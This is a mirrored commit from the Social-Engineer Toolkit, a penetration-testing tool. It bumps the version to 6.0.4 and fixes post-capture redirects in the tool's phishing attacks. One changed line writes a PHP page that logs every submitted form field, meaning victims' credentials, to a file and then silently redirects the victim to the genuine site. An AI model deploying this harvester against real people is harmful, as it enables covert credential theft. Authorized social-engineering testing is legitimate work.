mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2025-02-17 05:48:46 +00:00
Fixed redirect after successful grab in harvester attacks
This commit is contained in:
parent
3b96aac20d
commit
e08ca79dc9
3 changed files with 8 additions and 2 deletions
|
@ -1,3 +1,9 @@
|
|||
~~~~~~~~~~~~~~~~
|
||||
version 6.0.4
|
||||
~~~~~~~~~~~~~~~~
|
||||
|
||||
* fixed an issue that would cause credential harvester, tabnabbing, and webjacking to not properly redirect after successful credential nab
|
||||
|
||||
~~~~~~~~~~~~~~~~
|
||||
version 6.0.3
|
||||
~~~~~~~~~~~~~~~~
|
||||
|
|
|
@ -230,7 +230,7 @@ def print_error(message):
|
|||
print bcolors.RED + bcolors.BOLD + "[!] " + bcolors.ENDC + bcolors.RED + str(message) + bcolors.ENDC
|
||||
|
||||
def get_version():
|
||||
define_version = '6.0.3'
|
||||
define_version = '6.0.4'
|
||||
return define_version
|
||||
|
||||
class create_menu:
|
||||
|
|
|
@ -436,7 +436,7 @@ def run():
|
|||
print "Feel free to customize post.php in the %s directory" % (apache_dir) + bcolors.ENDC
|
||||
filewrite = file("%s/post.php" % (apache_dir), "w")
|
||||
now=datetime.datetime.today()
|
||||
filewrite.write("""<?php $file = 'harvester_%s.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?>""" % (now))
|
||||
filewrite.write("""<?php $file = 'harvester_%s.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=%s" />""" % (now, RAW_URL))
|
||||
filewrite.close()
|
||||
filewrite = file("%s/harvester_%s.txt" % (logpath,now), "w")
|
||||
filewrite.write("")
|
||||
|
|
Loading…
Add table
Reference in a new issue